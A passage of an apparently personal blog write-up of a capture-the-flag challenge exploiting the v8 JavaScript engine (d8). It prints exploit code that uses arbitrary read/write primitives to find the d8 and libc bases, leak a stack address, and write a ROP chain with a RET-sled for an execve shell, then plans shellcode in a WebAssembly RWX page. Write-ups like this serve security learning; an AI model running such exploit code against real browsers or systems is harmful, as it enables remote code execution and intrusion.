	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xffff&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;		&lt;span class=&quot;c1&quot;&gt;// Go to start of page&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;// Dereference start+8&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;		&lt;span class=&quot;c1&quot;&gt;// Deref that&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;		&lt;span class=&quot;c1&quot;&gt;// And now we are in d8&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7fff&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;		&lt;span class=&quot;c1&quot;&gt;// Go near start of page&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x600000&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;c1&quot;&gt;// Go nearer to start of page&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00010102464c457f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// console.log(x.toString(16));&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Could not find valid d8 base&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;calc_d8_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00010102464c457f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] D8_BASE is unstable&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x606000&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x89485ed18949ed31&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Can't find correct R_X page from D8_BASE&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;    + Obtained D8_BASE = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;D8_BASE&lt;/code&gt;, I could obtain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIBC_BASE&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_fputc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x115eb48&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_printf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x115eb68&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x115eb58&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_fputc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FPUTC_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PRINTF_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_printf&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Unknown libc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PUTS_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_puts&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] libc is messing with me&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;    + libc_base: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;… and thus, we could leak a stack address:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_environ&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ENVIRON_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stack_leak&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;libc_environ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, the plan was clear (or so I thought): write a ROP chain, and
trample over the stack backwards until we hit a RETsled, that jumps to
our ROP chain. Then, we’ve got shell, and we’ve got the
flag. Easy-peasy, right? Nope, so damn wrong.&lt;/p&gt;

&lt;h2 id=&quot;finally-shell-or-is-it&quot;&gt;Finally, shell! Or is it?&lt;/h2&gt;

&lt;p&gt;At this point, I created a ROP chain for an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; shell, using
&lt;a href=&quot;https://github.com/sashs/Ropper&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ropper&lt;/code&gt;&lt;/a&gt; on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt;. I also added code
to start trampling over the stack:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stack_leak&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ROPCHAIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ROPCHAIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ROPCHAIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TRAMPLE_MAX&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// console.log(i);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		  &lt;span class=&quot;nx&quot;&gt;RET&lt;/span&gt;
		 &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After spending tons of time in the debugger, I was finally able to
figure out that setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRAMPLE_MAX&lt;/code&gt; to 17 worked, and I finally got
a shell!!! While this was a local shell on my own machine, I had been
using the same binary as the server, so I thought: what could be so
different? Of course, I was accounting for differences in offsets
between server and my machine, but I couldn’t be more wrong.&lt;/p&gt;

&lt;p&gt;On a side note: this exploit works with relatively high
reliability. It fails once out of every 10~20 runs, but otherwise it
works brilliantly. Also, I had switched over to a manually written ROP
chain using libc. This version of the exploit can be found
&lt;a href=&quot;https://www.jaybosamiya.com/blog/2019/01/02/krautflare/exploit_local.js&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I used the &lt;a href=&quot;https://github.com/prettydiff/prettydiff/&quot;&gt;prettydiff
minifier&lt;/a&gt; to minify my
code, as the server accepted only one line, and sent it over. No
shell. Just a stack smash. Now began the many &lt;em&gt;many&lt;/em&gt; hours of pain.&lt;/p&gt;

&lt;h2 id=&quot;hours-of-pain&quot;&gt;Hours of Pain!&lt;/h2&gt;

&lt;p&gt;I now had a valid exploit, and I was able to get a local shell, even
with the minimized version (thus showing that minifier wasn’t doing
something wrong). I also had the shell work with high reliability, so
after doing a couple of dozen tests on the server, I knew that it
wasn’t a reliability issue. Maybe it was a difference in offsets?&lt;/p&gt;

&lt;p&gt;They had provided a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; along with the challenge, and it used
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tsuro/nsjail&lt;/code&gt;. This is what I had used to obtain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; in order
to get its offsets, but I could now use this to debug why things were
failing. Unfortunately, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; cannot be used out of the
box. Instead, it requires some other correct set up. I was too tired
to figure that out, so I just simply spun up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tsuro/nsjail&lt;/code&gt;, believing
that the rest of the stuff was just fluff to prevent things from
staying up too long, and adding in proof-of-work, etc.&lt;/p&gt;

&lt;p&gt;I was able to have the exploit run stably inside the docker container,
so that felt odd. I was too sleep deprived to think all that clearly,
but soon, I realized that the server was using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;worker.js&lt;/code&gt; which I was
not. I quickly added a modified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;worker.js&lt;/code&gt; so that I would not need
to always paste/pipe in my exploit (basically by replacing a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readline&lt;/code&gt; with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read&lt;/code&gt; from file).&lt;/p&gt;

&lt;p&gt;After some tinkering around, my exploit worked! I sent it over to the
server, and nope, nothing. I tried again, and nothing.&lt;/p&gt;

&lt;p&gt;After spending a bunch more time, I realized that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readline&lt;/code&gt; was
messing with me, and I was unable to get the shell unless I used the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--allow-natives-syntax&lt;/code&gt; flag (which btw, I had already replaced the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%OptimizeFunctionOnNextCall&lt;/code&gt;s with loops, in order to not require
natives), but for some reason, adding that flag made the stack
amenable to give me a shell.&lt;/p&gt;

&lt;p&gt;From this point onwards, it was pure agony, and I tried a whole bunch
of different things. These included trying to
&lt;a href=&quot;https://github.com/david942j/one_gadget&quot;&gt;one-gadget&lt;/a&gt; it, using a
JITted function, or using a random function pointer, etc. Since full
RELRO was enabled, I couldn’t overwrite the
GOT. &lt;a href=&quot;https://twitter.com/riczho&quot;&gt;Ricky&lt;/a&gt; provided tons of ideas at
this point, and I’d tried a whole bunch, but none worked out. It
didn’t help that the exact scenario that I was in, I could not
directly have the bug triggered inside GDB, and outside GDB, if I
triggered it and obtained a core dump, when I tried to analyze it, GDB
itself crashed and gave a core dump.&lt;/p&gt;

&lt;p&gt;I was about to give up. I didn’t have a flag, but I at least got a
shell locally, and that was a big win for me, personally, and I was
also extremely sleepy at this point.&lt;/p&gt;

&lt;h2 id=&quot;a-new-hope&quot;&gt;A New Hope&lt;/h2&gt;

&lt;p&gt;I announced my intentions of giving in to sleep on our team Slack, and
Ricky asked me to take another closer look at one of his suggestions:
looking at &lt;a href=&quot;https://en.wikipedia.org/wiki/WebAssembly&quot;&gt;WebAssembly&lt;/a&gt;
(aka Wasm). Due to the addition of Wasm support to v8 (over the past
couple of years), we can write JS code to call out to functions
written in Wasm. In order to optimize Wasm code, v8 compiles that to
native code as well. Ricky indicated that it might be possible that
this compilation might lead to the creation of an RWX page that we
might be able to use for our exploits.&lt;/p&gt;

&lt;p&gt;I had tried this out earlier, and had been unable to really use it
(i.e., I had been unable to trigger the creation of an RWX page), but
just to make sure that I had done things right, I opened up a new text
editor, and wrote down &lt;a href=&quot;./wasm.js&quot;&gt;some JS code&lt;/a&gt; to initialize and
execute some Wasm code. The only goal of introducing Wasm into our
exploit is to introduce an RWX page that we can then use.&lt;/p&gt;

&lt;p&gt;Running this and checking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmmap&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;peda&lt;/code&gt;, I realized that we had
introduced an RWX page (!)&lt;/p&gt;

&lt;p&gt;From this point forward, there is a “new” (or ancient) path to shell
that I can see: write shellcode to the RWX region, and then directly
execute it. I was no longer sleepy :D&lt;/p&gt;

